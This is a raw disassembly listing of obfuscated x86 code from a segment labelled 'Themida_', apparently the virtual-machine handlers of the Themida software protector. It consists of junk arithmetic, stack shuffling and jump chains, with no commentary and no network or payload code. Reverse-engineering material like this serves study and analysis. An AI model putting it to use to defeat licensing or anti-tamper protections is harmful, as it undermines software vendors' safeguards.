		add	esp, 4
		push	ebp
		jmp	loc_558945
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55DD72
; ---------------------------------------------------------------------------


loc_562AF4:				; CODE XREF: Themida_:005633C1j
		pop	edx
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 7
		push	7BEDh
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_55BC7B
; ---------------------------------------------------------------------------


loc_562B18:				; CODE XREF: Themida_:0055443Cj
		sub	al, dl
		add	al, 0EDh
		pop	edx
		add	al, 0D6h
		add	al, 1Bh
		sub	al, 7Dh
		jmp	loc_5569A3
; ---------------------------------------------------------------------------


loc_562B28:				; CODE XREF: Themida_:00561D2Fj
		pop	ecx
		jmp	loc_559B6D
; ---------------------------------------------------------------------------


loc_562B2E:				; CODE XREF: Themida_:005610E8j
		pop	ecx
		jmp	loc_55A6F1
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_562B3D:				; CODE XREF: Themida_:0055B7F6j
		push	187Fh
		jmp	loc_555EDE
; ---------------------------------------------------------------------------


loc_562B47:				; CODE XREF: Themida_:00555EF7j
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_5558E5
; ---------------------------------------------------------------------------


loc_562B50:				; CODE XREF: Themida_:0055AF0Cj
		add	edi, 559ED6C4h
		add	edx, edi
		pop	edi
		jmp	loc_55DC74
; ---------------------------------------------------------------------------


loc_562B5E:				; CODE XREF: Themida_:0055CAD1j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		jmp	loc_562E28
; ---------------------------------------------------------------------------


loc_562B70:				; CODE XREF: Themida_:0055D93Ej
		shr	edx, 4
		push	ecx
		jmp	loc_551334
; ---------------------------------------------------------------------------


loc_562B79:				; CODE XREF: Themida_:00562D01j
		pop	dx
		jmp	loc_5584C3
; ---------------------------------------------------------------------------


loc_562B80:				; CODE XREF: Themida_:0055CD4Ej
		push	eax
		jmp	loc_557E7F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_553D7A
; ---------------------------------------------------------------------------


loc_562B94:				; CODE XREF: Themida_:005587BFj
		pop	ebx
		add	esi, eax
		pop	eax
		jmp	loc_55E9C4
; ---------------------------------------------------------------------------


loc_562B9D:				; CODE XREF: Themida_:00563830j
		push	ebp
		mov	ebp, 1AA7F17h
		shl	ebp, 6
		add	ebp, 0FFFFFFFFh
		neg	ebp
		jmp	loc_564DD9
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_5534C2
; ---------------------------------------------------------------------------


loc_562BBB:				; CODE XREF: Themida_:005517FDj
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_55593A
; ---------------------------------------------------------------------------


loc_562BC4:				; CODE XREF: Themida_:00551609j
		sub	ebx, edi
		pop	edi
		jmp	loc_55CBE8
; ---------------------------------------------------------------------------


loc_562BCC:				; CODE XREF: Themida_:0055B633j
		mov	ah, bh
		mov	dl, ah
		pop	eax
		pop	ebx
		sub	dl, 0F8h
		dec	dl
		push	0
		sub	byte ptr [esp],	0BDh
		jmp	loc_556696
; ---------------------------------------------------------------------------


loc_562BE5:				; CODE XREF: Themida_:0055CBD4j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55B8AE
; ---------------------------------------------------------------------------


loc_562BFC:				; CODE XREF: Themida_:00560DB6j
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_562C0A:				; CODE XREF: Themida_:00558B27j
		pop	ecx
		jmp	loc_55877F
; ---------------------------------------------------------------------------


loc_562C10:				; CODE XREF: Themida_:005577CCj
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_559C6A
; ---------------------------------------------------------------------------


loc_562C2A:				; CODE XREF: Themida_:0055170Fj
		inc	edx
		and	edx, 129A3C25h
		xchg	ebx, edx
		inc	ebx
		jmp	loc_5529F0
; ---------------------------------------------------------------------------


loc_562C39:				; CODE XREF: Themida_:00554EFAj
		or	esi, 160552E8h
		xor	esi, 423B4F13h
		mov	edx, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	edx, 5A61141Dh
		add	edx, 1C3CDB21h
		push	edx
		jmp	loc_5565A4
; ---------------------------------------------------------------------------


loc_562C6F:				; CODE XREF: Themida_:0055EDC5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebx
		push	eax
		jmp	loc_559CF4
; ---------------------------------------------------------------------------


loc_562C8D:				; CODE XREF: Themida_:005577BBj
		pop	esp
		mov	[esp], ebx
		push	3F85h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_555D5E
; ---------------------------------------------------------------------------


loc_562CB1:				; CODE XREF: Themida_:0055CA59j
		mov	ecx, [esp]
		jmp	loc_5555C6
; ---------------------------------------------------------------------------


loc_562CB9:				; CODE XREF: Themida_:005619BFj
		push	ebp
		mov	ebp, 4
		jmp	loc_55D9C0
; ---------------------------------------------------------------------------


loc_562CC4:				; CODE XREF: Themida_:00553983j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, 5FF45C55h
		jmp	loc_55C0B0
; ---------------------------------------------------------------------------


loc_562CF0:				; CODE XREF: Themida_:0055782Ej
		add	eax, 0BC794415h
		mov	edx, eax
		pop	eax
		jmp	loc_55247B
; ---------------------------------------------------------------------------


loc_562CFD:				; CODE XREF: Themida_:0056363Bj
		mov	dl, 0FFh
		add	bl, dl
		jmp	loc_562B79
; ---------------------------------------------------------------------------


loc_562D06:				; CODE XREF: Themida_:0055C8CAj
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_561812
; ---------------------------------------------------------------------------


loc_562D1B:				; CODE XREF: Themida_:0055A699j
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 27BD05BCh
		add	eax, ebp
		add	eax, 27BD05BCh
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	edx
		push	ecx
		push	edx
		push	20010C82h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55E631
; ---------------------------------------------------------------------------


loc_562D5B:				; CODE XREF: Themida_:00562295j
		pop	ebp
		push	esi
		mov	esi, 40A36C3Fh
		or	esi, 519B52B2h
		jmp	loc_560FC6
; ---------------------------------------------------------------------------


loc_562D6D:				; CODE XREF: Themida_:0055EBA9j
		and	bh, 57h
		dec	bh
		sub	bh, 0E9h
		add	cl, 16h
		sub	cl, bh
		sub	cl, 16h
		pop	ebx
		sub	cl, 0FFh
		xor	cl, 18h
		xor	cl, 3Eh
		jmp	loc_55BF0C
; ---------------------------------------------------------------------------


loc_562D8C:				; CODE XREF: Themida_:0055FEB0j
		mov	bl, al
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dl, bl
		mov	al, dl
		pop	edx
		jmp	loc_56419E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_562DB1:				; CODE XREF: Themida_:00558FB7j
		pop	ebx
		add	esp, 4
		push	edi
		jmp	loc_5591DF
; ---------------------------------------------------------------------------


loc_562DBE:				; CODE XREF: Themida_:0056486Cj
		shr	ecx, 5
		jmp	loc_55B7A0
; ---------------------------------------------------------------------------


loc_562DC6:				; CODE XREF: Themida_:0055C0ABj
		mov	edi, 7BBC2991h
		jmp	loc_555DC9
; ---------------------------------------------------------------------------


loc_562DD0:				; CODE XREF: Themida_:005509C0j
		push	ebp
		mov	ebp, esp
		jmp	loc_55DCB5
; ---------------------------------------------------------------------------


loc_562DD8:				; CODE XREF: Themida_:0055F98Dj
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_552363
; ---------------------------------------------------------------------------


loc_562DF5:				; CODE XREF: Themida_:0055B4DEj
		neg	al
		and	al, 6Ah
		or	al, 8Ch
		shl	al, 3
		jmp	loc_55D82C
; ---------------------------------------------------------------------------


loc_562E03:				; CODE XREF: Themida_:005573F5j
		add	edi, 6FA0563Ah
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_557A01
; ---------------------------------------------------------------------------


loc_562E1E:				; CODE XREF: Themida_:0055F049j
		push	0ADCh
		jmp	loc_5655EB
; ---------------------------------------------------------------------------


loc_562E28:				; CODE XREF: Themida_:00562B6Bj
		pop	edx
		add	esp, 4
		add	edx, 4
		jmp	loc_560213
; ---------------------------------------------------------------------------


loc_562E37:				; CODE XREF: Themida_:00562900j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		push	edi
		mov	edi, 4A4D7238h
		sub	[esp+8], edi
		pop	edi
		add	[esp+4], ebp
		add	dword ptr [esp+4], 4A4D7238h
		pop	ebp
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		add	dword ptr [esp+4], 3CE93EEDh
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 3CE93EEDh
		pop	ebp
		jmp	loc_555F66
; ---------------------------------------------------------------------------


loc_562E7B:				; CODE XREF: Themida_:00557483j
		mov	esp, [esp]
		mov	[esp], esi
		push	eax
		mov	eax, 15FE0301h
		sub	[esp+4], eax
		jmp	loc_55EA3D
; ---------------------------------------------------------------------------


loc_562E90:				; CODE XREF: Themida_:005602CDj
		mov	eax, esp
		add	eax, 4
		jmp	loc_55172A
; ---------------------------------------------------------------------------


loc_562E9C:				; CODE XREF: Themida_:00565ACAj
		mov	eax, [esp]
		jmp	loc_555E40
; ---------------------------------------------------------------------------


loc_562EA4:				; CODE XREF: Themida_:00563DB5j
		xor	esi, 10217B54h
		sub	eax, esi
		pop	esi
		jmp	loc_5553C6
; ---------------------------------------------------------------------------


loc_562EB2:				; CODE XREF: Themida_:00554F94j
		mov	ecx, [esp]
		jmp	loc_564AA2
; ---------------------------------------------------------------------------


loc_562EBA:				; CODE XREF: Themida_:00565593j
		mov	edx, [esp]
		jmp	loc_55D022
; ---------------------------------------------------------------------------


loc_562EC2:				; CODE XREF: Themida_:00553ED9j
		pop	esi
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5612D4
; ---------------------------------------------------------------------------


loc_562EE1:				; CODE XREF: Themida_:005535C7j
		mov	ebp, 3B9654CFh
		jmp	loc_550F50
; ---------------------------------------------------------------------------


loc_562EEB:				; CODE XREF: Themida_:00557AE2j
		or	edx, 66653FBh
		sub	edx, 20F968CCh
		mov	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shl	ecx, 8
		jmp	loc_550A37
; ---------------------------------------------------------------------------


loc_562F08:				; CODE XREF: Themida_:005653F1j
		sub	esi, ebx
		pop	ebx
		and	esi, 25D136E9h
		shl	esi, 5
		jmp	loc_554EF8
; ---------------------------------------------------------------------------


loc_562F19:				; CODE XREF: Themida_:00557895j
		push	3CD5h
		mov	[esp], edx
		jmp	loc_562920
; ---------------------------------------------------------------------------


loc_562F26:				; CODE XREF: Themida_:005587EAj
		sub	ecx, eax
		pop	eax
		sub	eax, 19B86457h
		add	eax, ecx
		jmp	loc_556390
; ---------------------------------------------------------------------------


loc_562F35:				; CODE XREF: Themida_:00554E6Bj
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_555A61
; ---------------------------------------------------------------------------


loc_562F57:				; CODE XREF: Themida_:0055126Ej
		pop	edx
		not	ebx
		shr	ebx, 5
		sub	ebx, 12A6B7Bh
		dec	ebx
		sub	ebx, 43216FEh
		add	edi, ebx
		jmp	loc_563FFD
; ---------------------------------------------------------------------------


loc_562F71:				; CODE XREF: Themida_:00550668j
		sub	edi, 0BB0FE76Ch
		xor	edx, edi
		pop	edi
		add	esi, 3E0C312Fh
		jmp	loc_55F198
; ---------------------------------------------------------------------------


loc_562F85:				; CODE XREF: Themida_:0055D7BEj
		push	6CE1h
		mov	[esp], ecx
		push	916h
		mov	[esp], ebx
		jmp	loc_55E453
; ---------------------------------------------------------------------------


loc_562F9A:				; CODE XREF: Themida_:005508B5j
		pop	ecx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55E9D5
; ---------------------------------------------------------------------------


loc_562FB2:				; CODE XREF: Themida_:00550922j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5616EB
; ---------------------------------------------------------------------------


loc_562FCC:				; CODE XREF: Themida_:00554A89j
		add	ebx, 4
		push	edi
		mov	edi, 6DA43D8Eh
		add	edi, 925BC276h
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_560E70
; ---------------------------------------------------------------------------


loc_562FED:				; CODE XREF: Themida_:0056124Bj
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5576C6
; ---------------------------------------------------------------------------


loc_562FFB:				; CODE XREF: Themida_:00561A70j
		pop	ecx
		xor	ebp, [esp]
		jmp	loc_563074
; ---------------------------------------------------------------------------


loc_563004:				; CODE XREF: Themida_:00561AF1j
		pop	edx
		sub	ecx, 6E297584h
		push	6F7Bh
		jmp	loc_55B179
; ---------------------------------------------------------------------------


loc_563015:				; CODE XREF: Themida_:005640FBj
		add	esi, 89D7EC7Ah
		mov	eax, esi
		pop	esi
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55B61A
; ---------------------------------------------------------------------------


loc_56302A:				; CODE XREF: Themida_:00563152j
		and	edi, ebp
		pop	ebp
		dec	edi
		not	edi
		and	edi, 2DFD18F1h
		jmp	loc_562371
; ---------------------------------------------------------------------------


loc_56303B:				; CODE XREF: Themida_:00558A1Dj
		inc	ebx
		add	ebx, 36D59128h
		xor	ebp, ebx
		pop	ebx
		push	edx
		jmp	loc_55AC9A
; ---------------------------------------------------------------------------


loc_56304B:				; CODE XREF: Themida_:0055680Aj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_563056:				; CODE XREF: Themida_:0055BEECj
		add	ecx, 4
		jmp	loc_55ECE6
; ---------------------------------------------------------------------------


loc_563061:				; CODE XREF: Themida_:0055D230j
		sub	al, 0ADh
		jmp	loc_552E41
; ---------------------------------------------------------------------------


loc_563068:				; CODE XREF: Themida_:00558B36j
		xchg	ebp, [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_563074:				; CODE XREF: Themida_:00562FFFj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_563089:				; CODE XREF: Themida_:0055C44Ej
		push	edx
		mov	edx, 29116880h
		xor	edx, 1F714038h
		jmp	loc_55E12A
; ---------------------------------------------------------------------------


loc_56309A:				; CODE XREF: Themida_:005513CAj
		push	ebx
		mov	bl, 0EDh
		or	bl, 40h
		and	bl, 22h
		shl	bl, 8
		xor	bl, 6Ch
		jmp	loc_559793
; ---------------------------------------------------------------------------


loc_5630AE:				; CODE XREF: Themida_:0055D97Aj
		pop	ebx
		add	ebx, 1
		add	ebx, 4A78ACD6h
		push	eax
		mov	eax, ebx
		jmp	loc_565199
; ---------------------------------------------------------------------------


loc_5630C3:				; CODE XREF: Themida_:00552A6Ej
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_559192
; ---------------------------------------------------------------------------


loc_5630CF:				; CODE XREF: Themida_:0055C9ABj
		or	al, 83h
		jmp	loc_5553CD
; ---------------------------------------------------------------------------


loc_5630D6:				; CODE XREF: Themida_:0055D8FEj
		pop	ebx
		add	ebp, 2C9A08F1h
		sub	ebp, 0E7E9EDA1h
		jmp	loc_554084
; ---------------------------------------------------------------------------


loc_5630E8:				; CODE XREF: Themida_:0055D9BBj
		xor	eax, 27B17051h
		push	edi
		mov	edi, 3DD043C3h
		jmp	loc_557F67
; ---------------------------------------------------------------------------


loc_5630F8:				; CODE XREF: Themida_:0055E6DAj
		and	edi, 4BE37129h
		inc	edi
		xor	edi, 65828504h
		push	ebx
		mov	ebx, 1E97145Ch
		sub	eax, ebx
		pop	ebx
		sub	eax, 19695712h
		add	eax, edi
		add	eax, 19695712h
		add	eax, 1E97145Ch
		jmp	loc_551B29
; ---------------------------------------------------------------------------


loc_563124:				; CODE XREF: Themida_:0055845Bj
		add	edx, 4EC24BE2h
		add	edx, ecx
		sub	edx, 4EC24BE2h
		add	edx, 4AD94751h
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		jmp	loc_563CEB
; ---------------------------------------------------------------------------


loc_563144:				; CODE XREF: Themida_:0055B201j
		dec	edx
		shl	edx, 7
		jmp	loc_55120A
; ---------------------------------------------------------------------------


loc_56314D:				; CODE XREF: Themida_:0055ADEDj
		mov	ebp, 64AD2692h
		jmp	loc_56302A
; ---------------------------------------------------------------------------


loc_563157:				; CODE XREF: Themida_:00564918j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55610F
; ---------------------------------------------------------------------------


loc_563169:				; CODE XREF: Themida_:0055D5E0j
		xor	dl, 0B1h
		mov	bh, dl
		pop	edx
		add	dh, bh
		jmp	loc_563B0C
; ---------------------------------------------------------------------------


loc_563176:				; CODE XREF: Themida_:0055930Bj
		add	esp, 4
		jmp	loc_55BABE
; ---------------------------------------------------------------------------


loc_56317E:				; CODE XREF: Themida_:00561D72j
		push	0
		sub	[esp], eax
		jmp	loc_559702
; ---------------------------------------------------------------------------


loc_56318B:				; CODE XREF: Themida_:0055E760j
		shr	dh, 4
		sub	dh, 0E3h
		add	al, dh
		pop	edx
		push	dx
		push	eax
		mov	ah, 0F0h
		shr	ah, 1
		not	ah
		or	ah, 3Fh
		dec	ah
		shl	ah, 8
		jmp	loc_55A49C
; ---------------------------------------------------------------------------


loc_5631AA:				; CODE XREF: Themida_:0055FBECj
		pop	ebx
		pop	edx
		push	eax
		jmp	loc_5555FB
; ---------------------------------------------------------------------------


loc_5631B2:				; CODE XREF: Themida_:0055F508j
		add	esi, ecx
		jmp	loc_55BA0D
; ---------------------------------------------------------------------------


loc_5631B9:				; CODE XREF: Themida_:005510EAj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5631E3:				; CODE XREF: Themida_:0055FDACj
		mov	edx, 67E41EFEh
		mov	esi, edx
		pop	edx
		mov	eax, 4C89C102h
		add	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		mov	ebp, edx
		jmp	loc_557EAD
; ---------------------------------------------------------------------------


loc_5631FD:				; CODE XREF: Themida_:0055E0ABj
		push	eax
		jmp	loc_5509CF
; ---------------------------------------------------------------------------


loc_563203:				; CODE XREF: Themida_:00561AD0j
		add	ebp, 720A277Ah
		push	eax
		mov	eax, 0B1CD4DC8h
		add	ebp, eax
		pop	eax
		add	edi, ebp
		jmp	loc_563F0C
; ---------------------------------------------------------------------------


loc_563219:				; CODE XREF: Themida_:00562A81j
		pop	esp
		mov	[esp], eax
		jmp	loc_55C0D6
; ---------------------------------------------------------------------------


loc_563222:				; CODE XREF: Themida_:0055DFEEj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_558574
; ---------------------------------------------------------------------------


loc_563231:				; CODE XREF: Themida_:00565329j
		xor	edx, 39EC537Fh
		sub	ebx, edx
		pop	edx
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_5541FD
; ---------------------------------------------------------------------------


loc_56325B:				; CODE XREF: Themida_:0055F559j
		mov	eax, ebx
		pop	ebx
		sub	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_555682
; ---------------------------------------------------------------------------


loc_563274:				; CODE XREF: Themida_:005555C1j
		xor	esi, 42536FE7h
		add	ebx, esi
		pop	esi
		sub	edi, ebx
		jmp	loc_55AB00
; ---------------------------------------------------------------------------


loc_563284:				; CODE XREF: Themida_:005523C1j
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55F044
; ---------------------------------------------------------------------------


loc_56329C:				; CODE XREF: Themida_:00559475j
		push	esi
		jmp	loc_5566DE
; ---------------------------------------------------------------------------


loc_5632A2:				; CODE XREF: Themida_:00561D7Dj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56120C
; ---------------------------------------------------------------------------


loc_5632B4:				; CODE XREF: Themida_:0055C38Dj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5632C7:				; CODE XREF: Themida_:00551155j
		sub	ebx, ebp
		jmp	loc_559DF9
; ---------------------------------------------------------------------------


loc_5632CE:				; CODE XREF: Themida_:00559166j
		shr	ebx, 7
		shl	ebx, 1
		sub	ebx, 0DB3B3C6Ah
		sub	eax, 3F3F31D8h
		add	eax, 1E407CC3h
		add	eax, ebx
		jmp	loc_563418
; ---------------------------------------------------------------------------


loc_5632EA:				; CODE XREF: Themida_:0055A833j
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	19A5h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		jmp	loc_550693
; ---------------------------------------------------------------------------


loc_563307:				; CODE XREF: Themida_:0055A563j
		xor	bh, ch
		jmp	loc_551714
; ---------------------------------------------------------------------------


loc_56330E:				; CODE XREF: Themida_:0055DB3Cj
		mov	eax, 1E635EFAh
		jmp	loc_56387F
; ---------------------------------------------------------------------------


loc_563318:				; CODE XREF: Themida_:00550D3Dj
		or	eax, 3EAB11C3h
		add	eax, 53BE1036h
		jmp	loc_55C762
; ---------------------------------------------------------------------------


loc_563327:				; CODE XREF: Themida_:0055A67Ej
		add	esp, 4
		jmp	loc_5639E6
; ---------------------------------------------------------------------------


loc_56332F:				; CODE XREF: Themida_:00554612j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55D696
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		jmp	loc_55CED7
; ---------------------------------------------------------------------------


loc_56334A:				; CODE XREF: Themida_:0055C252j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		jmp	loc_55EEA7
; ---------------------------------------------------------------------------


loc_563379:				; CODE XREF: Themida_:0055BDE3j
		add	edx, 5CF24296h
		sub	edx, 719F78A1h
		add	edx, 4BE83EBCh
		pop	ebp
		push	3E5Fh
		jmp	loc_565144
; ---------------------------------------------------------------------------


loc_563396:				; CODE XREF: Themida_:0055DB7Bj
		sub	ebx, 1E175464h
		sub	ebx, ebp
		add	ebx, 1E175464h
		pop	ebp
		sub	ebp, 71330043h
		add	ebp, ebx
		add	ebp, 71330043h
		pop	ebx
		or	ebp, 43BF1CB6h
		jmp	loc_55826D
; ---------------------------------------------------------------------------


loc_5633BF:				; CODE XREF: Themida_:00550898j
		add	esi, edx
		jmp	loc_562AF4
; ---------------------------------------------------------------------------


loc_5633C6:				; CODE XREF: Themida_:00550800j
		pop	ecx
		mov	ebx, eax
		pop	eax
		push	1882h
		jmp	loc_55A11C
; ---------------------------------------------------------------------------


loc_5633D4:				; CODE XREF: Themida_:0055C948j
		xor	eax, [esp]
		mov	esp, [esp]
		push	2365h
		jmp	loc_553E57
; ---------------------------------------------------------------------------


loc_5633E4:				; CODE XREF: Themida_:00556355j
		pop	ecx
		mov	edi, [esp]
		jmp	loc_55900F
; ---------------------------------------------------------------------------


loc_5633ED:				; CODE XREF: Themida_:005558AAj
		pop	eax
		push	ebp
		sub	dword ptr [esp], 55340451h
		jmp	loc_55EB98
; ---------------------------------------------------------------------------


loc_5633FB:				; CODE XREF: Themida_:0055B081j
		push	edi
		push	esp
		jmp	loc_5581BE
; ---------------------------------------------------------------------------


loc_563402:				; CODE XREF: Themida_:0055A49Fj
		mov	dh, ah
		mov	eax, [esp]
		add	esp, 4
		add	al, 0C2h
		add	al, dh
		sub	al, 0C2h
		jmp	loc_55B8D2
; ---------------------------------------------------------------------------


loc_563418:				; CODE XREF: Themida_:005632E5j
		push	ebp
		mov	ebp, 1E407CC3h
		sub	eax, ebp
		pop	ebp
		jmp	loc_554B70
; ---------------------------------------------------------------------------


loc_563426:				; CODE XREF: Themida_:00551ACBj
		add	ebx, 4DE37C48h
		push	ebp
		jmp	loc_55F6A5
; ---------------------------------------------------------------------------


loc_563432:				; CODE XREF: Themida_:00553427j
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_553658
; ---------------------------------------------------------------------------


loc_563442:				; CODE XREF: Themida_:0055E315j
		sub	dword ptr [esp], 8DE5732h
		pop	eax
		add	eax, 8DE5732h
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	70DCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_555B26
; ---------------------------------------------------------------------------


loc_563465:				; CODE XREF: Themida_:0055968Aj
		mov	ebx, 0EF951ED5h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A27D
; ---------------------------------------------------------------------------


loc_56347A:				; CODE XREF: Themida_:00564ACAj
		mov	ecx, 277F417Bh
		sub	ecx, esi
		pop	esi
		and	edi, ecx
		pop	ecx
		jmp	loc_553E00
; ---------------------------------------------------------------------------


loc_56348A:				; CODE XREF: Themida_:00563DDDj
		add	ecx, ebx
		pop	ebx
		shr	ecx, 6
		inc	ecx
		push	eax
		push	esi
		push	ebp
		mov	ebp, 73175532h
		add	ebp, 8D6D4B4Ah
		mov	esi, ebp
		jmp	loc_5534B6
; ---------------------------------------------------------------------------


loc_5634A6:				; CODE XREF: Themida_:005541ECj
		sub	ecx, esi
		pop	esi
		jmp	loc_560065
; ---------------------------------------------------------------------------


loc_5634AE:				; CODE XREF: Themida_:00552F13j
		pop	ebp
		push	4F78h
		mov	[esp], eax
		mov	eax, 19025CB0h
		jmp	loc_55221B
; ---------------------------------------------------------------------------


loc_5634C1:				; CODE XREF: Themida_:0055F2A4j
		pop	eax
		xor	eax, ecx
		pop	ecx
		jmp	loc_558B3B
; ---------------------------------------------------------------------------


loc_5634CA:				; CODE XREF: Themida_:loc_55F5BEj
		push	401Eh
		mov	[esp], edi
		push	esp
		jmp	loc_554571
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55F9FC
; ---------------------------------------------------------------------------


loc_5634E0:				; CODE XREF: Themida_:005618AAj
		sub	edx, 44A630CBh
		jmp	loc_560339
; ---------------------------------------------------------------------------


loc_5634EB:				; CODE XREF: Themida_:0055356Cj
		add	eax, 150A1E4Fh
		jmp	loc_55776C
; ---------------------------------------------------------------------------


loc_5634F5:				; CODE XREF: Themida_:0055E960j
		mov	ebp, 384F2323h
		inc	ebp
		add	ebp, 4A2078CCh
		push	eax
		mov	eax, 15D85F5Bh
		jmp	loc_5638A3
; ---------------------------------------------------------------------------


loc_56350C:				; CODE XREF: Themida_:00565A92j
		mov	cl, 2Eh
		jmp	loc_55C0FA
; ---------------------------------------------------------------------------


loc_563513:				; CODE XREF: Themida_:0055669Aj
		sub	[esp], dl
		add	byte ptr [esp],	8Bh
		jmp	loc_5571D2
; ---------------------------------------------------------------------------


loc_56351F:				; CODE XREF: Themida_:00560334j
		neg	ebp
		sub	ebp, 3DD72A68h
		shr	ebp, 8
		shl	ebp, 3
		inc	ebp
		xor	ebp, 4A1DCB5h
		mov	eax, ebp
		pop	ebp
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
